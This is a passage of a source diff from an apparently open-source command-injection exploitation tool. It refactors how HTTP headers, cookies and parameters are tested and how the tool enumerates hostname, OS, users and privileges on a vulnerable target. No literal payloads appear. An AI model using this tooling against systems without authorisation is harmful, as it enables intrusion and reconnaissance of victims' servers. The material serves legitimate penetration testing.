menu.options.tech): - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter) if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - checks.skip_testing(filename, url) + url = code_injections_heuristic_basic(url, http_request_method, check_parameter) except KeyboardInterrupt: - # Nested try - a sibling except: here would never catch what handle_detection_interrupt() raises. try: checks.handle_detection_interrupt(filename, url) except (settings.SkipTechniqueException, settings.RetryTechniqueException): @@ -616,12 +609,23 @@ def _ensure_time_warmup(): if checks.procced_with_file_based_technique(): menu.options.tech = "f" + def _time_related_resume_redundant(): + # A resumed finding is already confirmed, so re-verifying the slow ones adds nothing + # when a results-based technique is stored too. + return settings.LOAD_SESSION and not settings.USER_APPLIED_TECHNIQUE and any( + _ in settings.STORED_TECHNIQUES for _ in (settings.INJECTION_TECHNIQUE.CLASSIC, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE)) + def _run_time_based(): + if _time_related_resume_redundant(): + return if len(menu.options.tech) == 0 or "t" in menu.options.tech: _ensure_time_warmup() + checks.warm_up_response_baseline(url, http_request_method) return timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) def _run_file_based(): + if _time_related_resume_redundant(): + return if len(menu.options.tech) == 0 or "f" in menu.options.tech: _ensure_time_warmup() return filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) @@ -641,7 +645,6 @@ def _run_file_based(): except settings.SkipTechniqueException: technique_idx += 1 except settings.RetryTechniqueException: - # Same index again - redo this technique from the top instead of moving past it. pass except settings.EndDetectionPhaseException: end_detection = True @@ -654,11 +657,30 @@ def _run_file_based(): settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) else: if settings.LOAD_SESSION: - checks.quit(filename, url, _ = False) + if settings.STORED_TECHNIQUES: + rows = [(row[1], row[2], row[5], row[10], "HTTP Header" if row[11] else row[12]) for row in settings.STORED_TECHNIQUES.values()] + checks.resumed_injection_points_summary(rows) + checks.suggest_os_shell() + checks.quit(filename, url, hard_exit=False) + elif settings.CONFIRMED_INJECTION_POINTS and not settings.ASKED_KEEP_TESTING: + settings.ASKED_KEEP_TESTING = True + if checks.prompt_keep_testing(url): + checks.quit(filename, url, hard_exit=False) if not settings.CHECK_BOTH_OS or end_detection: break +""" +Whether this parameter already has a stored session - used to test known-vulnerable ones first. +""" +def has_stored_session(url, check_parameter, http_request_method): + if menu.options.ignore_session or menu.options.flush_session or not os.path.isfile(settings.SESSION_FILE): + return False + try: + return bool(session_handler.load_stored_techniques(url, check_parameter, http_request_method)) + except Exception: + return False + """ Perform injection for a specific HTTP header (User-Agent, Referer, or Host) """ @@ -682,7 +704,7 @@ def inject_header(header_attr, option_attr, injection_flag_attr): reset_flag = check_parameter != header_name if not reset_flag: try: - reset_flag = not injection_proccess(new_url, check_parameter, http_request_method, filename, timesec) + reset_flag = not injection_process(new_url, check_parameter, http_request_method, filename, timesec) except settings.NextParameterException: reset_flag = True if reset_flag: @@ -693,40 +715,35 @@ def inject_header(header_attr, option_attr, injection_flag_attr): # Determine whether a header should be tested for injection def test_header(header_attr): - test_param = menu.options.test_parameter - skip_param = menu.options.skip_parameter header_value = getattr(settings, header_attr).lower() # Check if the corresponding injection flag is already active if getattr(settings, header_attr.upper() + "_INJECTION"): return True - # Check if explicitly included in test_parameter - if isinstance(test_param, str) and header_value in test_param.lower(): - return True - - # Check if not excluded via skip_parameter - if isinstance(skip_param, str) and header_value not in skip_param.lower(): - return True - - return False + return checks.is_parameter_testable(header_value) # If no specific test or skip parameters and no injection flags are set, test all headers no_injection_flags = not settings.USER_AGENT_INJECTION and not settings.REFERER_INJECTION and not settings.HOST_INJECTION no_test_or_skip = menu.options.test_parameter is None and menu.options.skip_parameter is None + # Test already-confirmed headers first, not in fixed order. + headers = ["USER_AGENT", "REFERER", "HOST"] + headers.sort(key=lambda header_attr: not has_stored_session(url, getattr(settings, header_attr).lower(), http_request_method)) + header_args = { + "USER_AGENT": ("agent", "USER_AGENT_INJECTION"), + "REFERER": ("referer", "REFERER_INJECTION"), + "HOST": ("host", "HOST_INJECTION"), + } + if no_injection_flags and no_test_or_skip: - inject_header("USER_AGENT", "agent", "USER_AGENT_INJECTION") - inject_header("REFERER", "referer", "REFERER_INJECTION") - inject_header("HOST", "host", "HOST_INJECTION") + for header_attr in headers: + inject_header(header_attr, *header_args[header_attr]) else: # Conditional injection based on test/skip flags or predefined injection settings - if test_header("USER_AGENT"): - inject_header("USER_AGENT", "agent", "USER_AGENT_INJECTION") - if test_header("REFERER"): - inject_header("REFERER", "referer", "REFERER_INJECTION") - if test_header("HOST"): - inject_header("HOST", "host", "HOST_INJECTION") + for header_attr in headers: + if test_header(header_attr): + inject_header(header_attr, *header_args[header_attr]) """ Inject Cookie parameters @@ -747,7 +764,7 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters_list = [] cookie_parameters_list.append(cookie_parameters) cookie_parameters = cookie_parameters_list - do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) + do_injection(cookie_parameters, settings.COOKIE, url, http_request_method, filename, timesec) if settings.COOKIE_INJECTION: # Restore cookie value @@ -767,7 +784,7 @@ def filtered_testable_parameters(): """ Process a list of parameters to test for injection vulnerabilities. """ -def do_injection(found, data_type, header_name, url, http_request_method, filename, timesec): +def do_injection(found, data_type, url, http_request_method, filename, timesec): """ Validate parameter names using allowed characters: @@ -811,7 +828,7 @@ def injection_call(url, check_param): contextual_name = get_contextual_name(check_param) url, check_param = define_check_parameter(found[index], url) url, check_param = check_for_stored_sessions(url, check_param, http_request_method) - injection_proccess(url, check_param, http_request_method, filename, timesec) + injection_process(url, check_param, http_request_method, filename, timesec) settings.TESTED_PARAMETERS_LIST.append(contextual_name) check_parameters = [] @@ -832,21 +849,12 @@ def injection_call(url, check_param): # Prepare testable parameters filtered_testable_parameters() - checks.testable_parameters(url, check_parameters, header_name) - - # Exclude parameters that already contain the inject tag - base_params = { - param for param in settings.TESTABLE_PARAMETERS_LIST - if settings.INJECT_TAG not in param - } + checks.testable_parameters(url, check_parameters) - # Add custom marker parameters if enabled + # Custom marker parameters are always targeted, regardless of -p/--skip. custom_params = set(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) \ if settings.CUSTOM_INJECTION_MARKER else set() - # Final set of injection targets - injection_targets = base_params.union(custom_params) - # Test already-confirmed parameters first, not in request order. if not menu.options.ignore_session and not menu.options.flush_session and os.path.isfile(settings.SESSION_FILE): def has_stored_session(check_param): @@ -867,15 +875,7 @@ def has_stored_session(check_param): except (KeyError, ValueError): continue - if settings.USER_DEFINED_POST_DATA: - active_targets = injection_targets - else: - if any(param in injection_targets for param in check_parameters): - active_targets = injection_targets - else: - active_targets = check_parameters - - if check_param in active_targets or not filtered_testable_parameters(): + if check_param in custom_params or checks.is_parameter_testable(check_param): try: injection_call(url, check_param) except settings.NextParameterException: @@ -887,10 +887,9 @@ def has_stored_session(check_param): def get_request(url, http_request_method, filename, timesec): found_url = parameters.do_GET_check(url, http_request_method) - header_name = "" if found_url != False: - do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec) + do_injection(found_url, settings.HTTPMETHOD.GET, url, http_request_method, filename, timesec) """ Check if HTTP Method is POST. @@ -899,7 +898,6 @@ def post_request(url, http_request_method, filename, timesec): parameter = settings.USER_DEFINED_POST_DATA found_parameter = parameters.do_POST_check(parameter, http_request_method) - header_name = "" if type(found_parameter) is str: found_parameter_list = [] @@ -913,7 +911,7 @@ def post_request(url, http_request_method, filename, timesec): # Remove whitespaces found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] - do_injection(found_parameter, settings.HTTPMETHOD.POST, header_name, url, http_request_method, filename, timesec) + do_injection(found_parameter, settings.HTTPMETHOD.POST, url, http_request_method, filename, timesec) """ Perform GET / POST parameters checks @@ -967,7 +965,7 @@ def custom_headers_checks(url, http_request_method, filename, timesec): settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) try: - if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + if check_parameter != header_name or not injection_process(url, check_parameter, http_request_method, filename, timesec): settings.CUSTOM_HEADER_INJECTION = False except settings.NextParameterException: settings.CUSTOM_HEADER_INJECTION = False @@ -1134,6 +1132,8 @@ def do_check(url, http_request_method, filename): # Check target URL for CGI scripts vulnerable to Shellshock. checks.check_CGI_scripts(url) + # Modules don't need a normal testable parameter to run. + modules_handler.load_modules(url, http_request_method, filename) perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! @@ -1146,7 +1146,7 @@ def do_check(url, http_request_method, filename): err_msg += " Try to increase value for '--level' option" err_msg += " if you wish to perform more tests." if settings.USER_APPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: - err_msg += " You can try to rerun without providing the option " + err_msg += " You can try to re-run without providing the option " if not settings.SKIP_TECHNIQUES : err_msg += "'--technique'." else: @@ -1162,11 +1162,14 @@ def do_check(url, http_request_method, filename): if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - else: + if not settings.MULTI_TARGETS: + common.show_http_error_codes() + raise SystemExit() + elif settings.MULTI_TARGETS: logs.print_logs_notification(filename, url) - if not settings.MULTI_TARGETS: - common.show_http_error_codes() - raise SystemExit() + else: + # Summary, deferred actions, os-shell entry, log notice and exit all happen in quit(). + checks.quit(filename, url, hard_exit=False) except KeyboardInterrupt: checks.handle_early_interrupt(filename, url) diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index 762df17d38..b585ea2d2e 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -13,327 +13,102 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -from src.utils import logs from src.utils import menu -from src.utils import common from src.utils import settings -from src.utils import session_handler -from src.core.requests import requests from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.injections.controller import execution """ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - _ = False + injector = execution.select_injector(technique) cmd = settings.PS_VERSION if not settings.TIME_RELATED_ATTACK and interpreter: cmd = checks.escape_single_quoted_cmd(cmd) - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - if settings.TIME_RELATED_ATTACK: - _ = True - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - ps_version = shell - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_ps_version(ps_version, filename, _) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + ps_version, fresh = execute_cmd(cmd) + checks.print_ps_version(ps_version, filename, settings.TIME_RELATED_ATTACK and fresh) """ Hostname enumeration """ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - - _ = False + injector = execution.select_injector(technique) if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - # Command execution results. - if settings.TIME_RELATED_ATTACK: - _ = True - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + shell, fresh = execute_cmd(settings.HOSTNAME) + checks.print_hostname(shell, filename, settings.TIME_RELATED_ATTACK and fresh) """ Retrieve system information """ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - - _ = False + injector = execution.select_injector(technique) if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and interpreter: cmd = "cmd /c " + cmd - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - # Command execution results. - if settings.TIME_RELATED_ATTACK: - _ = True - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + target_os, fresh = execute_cmd(cmd) + + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if target_os: - if not settings.TIME_RELATED_ATTACK: - target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO - if not settings.TIME_RELATED_ATTACK: - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - # Command execution results. - if settings.TIME_RELATED_ATTACK: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + if not settings.TIME_RELATED_ATTACK and settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + distro_name, distro_fresh = execute_cmd(cmd) + fresh = fresh or distro_fresh + if distro_name: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + + cmd = settings.WIN_RECOGNISE_HP if settings.TARGET_OS == settings.OS.WINDOWS else settings.RECOGNISE_HP + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - # Command execution results. - if settings.TIME_RELATED_ATTACK: - _ = True - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + target_arch, arch_fresh = execute_cmd(cmd) + fresh = fresh or arch_fresh else: target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) + checks.print_os_info(target_os, target_arch, filename, settings.TIME_RELATED_ATTACK and fresh) """ The current user enumeration """ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - - _ = False + injector = execution.select_injector(technique) if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - # Command execution results. - if settings.TIME_RELATED_ATTACK: - _ = True - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + cu_account, fresh = execute_cmd(settings.CURRENT_USER) + checks.print_current_user(cu_account, filename, settings.TIME_RELATED_ATTACK and fresh) """ Check if the Current user is privileged. """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - - _ = False + injector = execution.select_injector(technique) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - # Command execution results. - if settings.TIME_RELATED_ATTACK: - _ = True - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) + trim_marker = lambda shell: shell.replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess=trim_marker) + shell, fresh = execute_cmd(cmd) + checks.print_current_user_privs(shell, filename, settings.TIME_RELATED_ATTACK and fresh) """ System users enumeration """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - + injector = execution.select_injector(technique) cmd = settings.SYS_USERS - _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if settings.TIME_RELATED_ATTACK: @@ -342,122 +117,33 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = checks.escape_single_quoted_cmd(cmd) if not settings.TIME_RELATED_ATTACK: cmd = checks.add_new_cmd(cmd) - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - # Command execution results. - if 